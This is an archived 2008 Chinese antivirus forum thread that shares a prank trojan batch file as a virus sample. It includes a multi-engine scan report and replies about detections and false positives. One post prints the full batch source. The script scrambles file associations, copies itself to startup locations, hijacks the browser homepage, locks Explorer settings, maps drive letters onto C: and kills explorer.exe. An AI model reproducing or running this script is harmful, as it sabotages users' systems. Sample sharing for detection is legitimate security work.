转个很牛的BAT

显示全部楼层 · 发表于 2008-2-26 12:33:22

http://bbs.janmeng.com/thread-697420-1-1.html 剑盟的连接~
http://bbs.hypost.cn/read.php?tid-218692.html 绅博的连接~
有影子或虚拟机的玩玩

VirSCAN.org Scanned Report :
Scanned time : 2008/02/26 12:29:37 (CST)
Scanner results: 25%的杀软(9/36)报告发现病毒
File Name    : 绅博GDATA_AntiVirenKit（中国）官方论坛_dudu.rar
File Size    : 71618 byte
File Type    : RAR archive data, v1d, os
MD5          : 2ef6d5aa68e549a3598ca3885c573cd0
SHA1          : 0e90b3e0da2e80b33c6e5fa1dedeaa3c16cbf800
Online report  : http://virscan.org/report/2687db1445357a19c4de4cd5eecabf4c.html

Scanner       Engine Ver    Sig Ver          Sig Date Time Scan result
a-squared    3.0.0.126    2008.02.25       2008-02-25  3.63 Trojan.BAT.Agent.bw
安博士V3    2008.02.26.00 2008.02.26       2008-02-26  1.42 -
AntiVir       7.6.0.67       7.0.2.189       2008-02-25  6.89 -
Arcavir       1.0.4          200802252138    2008-02-25  1.57 Trojan.Agent.Aik
AVAST       1.0.8          080225-0       2008-02-25  3.07 -
AVG          7.5.51.442    269.21.1/1298    2008-02-25  2.88 -
BitDefender 7.60825.983663  7.17730          2008-02-26  7.79 -
CA (VET)    9.0.0.143    31.3.5563       2008-02-25  8.20 -
ClamAV       0.92          5996             2008-02-26  0.04 -
Comodo       2.11          2.0.0.446       2008-02-25  1.93 -
CP Secure    1.1.0.695    2008.02.26       2008-02-26  10.77  -
Dr.WEB       4.44.0.9170    2008.02.25       2008-02-25  9.20 BAT.Xiao
ewido       4.0.0.2       2008.02.25       2008-02-25  2.44 -
F-PROT       4.4.1.52       20080225       2008-02-25  1.64 -
F-SECURE    5.51.6100    2008.02.25.06    2008-02-25  0.03 Trojan:W32/Agent.EDX [Orion]
飞塔          2.81-3.11    8.790          2008-02-26  1.95 -
ViRobot       20080225       2008.02.25       2008-02-25  0.42 -
IKARUS       T3.1.01.20    2008.02.26.70368  2008-02-26  1.58 Trojan.BAT.Agent.bw
江民杀毒    10.00.650    2008.02.24       2008-02-24  1.48 -
卡巴斯基    5.5.10       2008.02.26       2008-02-26  13.94  Trojan.BAT.Agent.bw
金山毒霸    2007.6.20.249 2008.2.25       2008-02-25  0.84 -
迈克菲       5.2.00       5237             2008-02-25  2.21 -
Microsoft    1.3204       2008.02.26       2008-02-26  6.83 -
MKS_VIR       2.01          2008.02.25       2008-02-25  5.73 Trojan.BAT.Shutdown.t
NORMAN       5.91.10       5.90             2008-02-21  12.62  -
熊猫卫士    9.04.03.0001 2008.02.25       2008-02-25  2.99 -
趋势          8.500-1001    5.122.10       2008-02-25  0.05 -
Prevx       V2             20080226       2008-02-26  8.91 -
QuickHeal    9.00          2008.02.25       2008-02-25  2.29 -
瑞星          20.0          20.32.42.00    2008-02-22  1.77 -
SOPHOS       2.70.1       4.26             2008-02-26  5.18 -
赛门铁克    1.3.0.24       20080225.003    2008-02-25  0.87 -
nProtect    2008-02-26.00 1181993          2008-02-26  5.88 Trojan/W32.Shutdowner.149270
The Hacker    6.2.9          v00229          2008-02-25  1.52 -
VBA32       3.12.6.2       20080225.2129    2008-02-25  1.97 Trojan.BAT.Agent.bw
VirusBuster 4.3.19:9       9.121.23/11.0    2008-02-25  2.80 -

一个乱改文件关联~变出N个分区的BAT

[ 本帖最后由 fish 于 2008-2-26 12:34 编辑 ]

显示全部楼层 · 发表于 2008-2-26 12:34:29

沙发

小C发过了

[ 本帖最后由冷_冷于 2008-2-26 22:30 编辑 ]

显示全部楼层 · 发表于 2008-2-26 12:38:43

把它丢给红伞去

显示全部楼层 · 发表于 2008-2-26 12:39:39

比较无聊的一个东西

@echo off
assoc .txt=exefile
assoc .exe=txtfile
assoc .htm=exefile
assoc .html=exefile
assoc .com=txtfile
assoc .gho=txtfile
assoc .rar=txtfile
assoc .zip=txtfile
assoc .chm=txtfile
assoc .jpg=txtfile
assoc .doc=exefile
assoc .ppt=txtfile
assoc .vbs=txtfile
assoc .cmd=txtfile
assoc .bmp=txtfile
assoc .gif=txtfile
assoc .ico=txtfile
assoc .png=txtfile
assoc .jpeg=txtfile
assoc .jpe=txtfile
assoc .jfif=txtfile
assoc .fla=txtfile
assoc .swf=txtfile
assoc .avi=txtfile
assoc .mov=txtfile
assoc .asf=txtfile
assoc .wmv=txtfile
assoc .rm=txtfile
assoc .ra=txtfile
assoc .mvb=txtfile
assoc .flv=txtfile
assoc .mpg=txtfile
assoc .wav=txtfile
assoc .mpeg=txtfile
assoc .mp3=txtfile
assoc .mp4=txtfile
assoc .3gp=txtfile
assoc .3g2=txtfile
assoc .dat=txtfile
assoc .msi=txtfile
assoc .bat=txtfile
copy %0 "%windir%\system32"
copy %0 "%systemdrive%"
copy %0 "%userprofile%\「开始」菜单\程序\启动\*.*"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d http://www.xiaowo.net /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d http://www.xiaowo.net /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 0 /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideClock /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v nodrives /t REG_DWORD /d 60 /f
subst b: C:\
subst h: C:\
subst i: C:\
subst j: C:\
subst k: C:\
subst l: C:\
subst m: C:\
subst n: C:\
subst o: C:\
subst p: C:\
subst q: C:\
subst r: C:\
subst s: C:\
subst t: C:\
subst u: C:\
subst v: C:\
subst w: C:\
subst x: C:\
subst y: C:\
subst z: C:\
taskkill /im explorer.exe /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 0 /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
title 你还真运行了... 制作人: 恶作剧病毒，请不要乱尝试

复制代码

显示全部楼层 · 发表于 2008-2-26 12:41:36

The file 'dudu.EXE' has been determined to be 'FALSE POSITIVE'. In particular this means that this file is not malicious but a false alarm. Detection is removed from our virus definition file (VDF) with the version: 7.0.1.138.

[ 本帖最后由 zhouyuan 于 2008-2-26 12:55 编辑 ]

显示全部楼层 · 发表于 2008-2-26 12:52:38

dudu.EXE;C:\Documents and Settings\Administrator\桌面;BAT.Xiao;;

显示全部楼层 · 发表于 2008-2-26 13:16:21

D:\download\绅博GDATA_AntiVirenKit（中国）官方论坛_dudu.rar>>dudu.EXE Trojan.Cap811423.yzau.arc 木马还未处理

显示全部楼层 · 发表于 2008-2-26 13:18:20

看不出来有多牛啊！

显示全部楼层 · 发表于 2008-2-26 13:59:53

红伞没报，，发过去看看。

显示全部楼层 · 发表于 2008-2-26 14:01:53

原帖由 zhouyuan 于 2008-2-26 12:41 发表
The file 'dudu.EXE' has been determined to be 'FALSE POSITIVE'. In particular this means that this file is not malicious but a false alarm. Detection is removed from our virus definition file (VDF) wi ...

FALSE POSITIVE??上报卡巴

[病毒样本] 转个很牛的BAT

本帖子中包含更多资源

看不出来有多牛啊！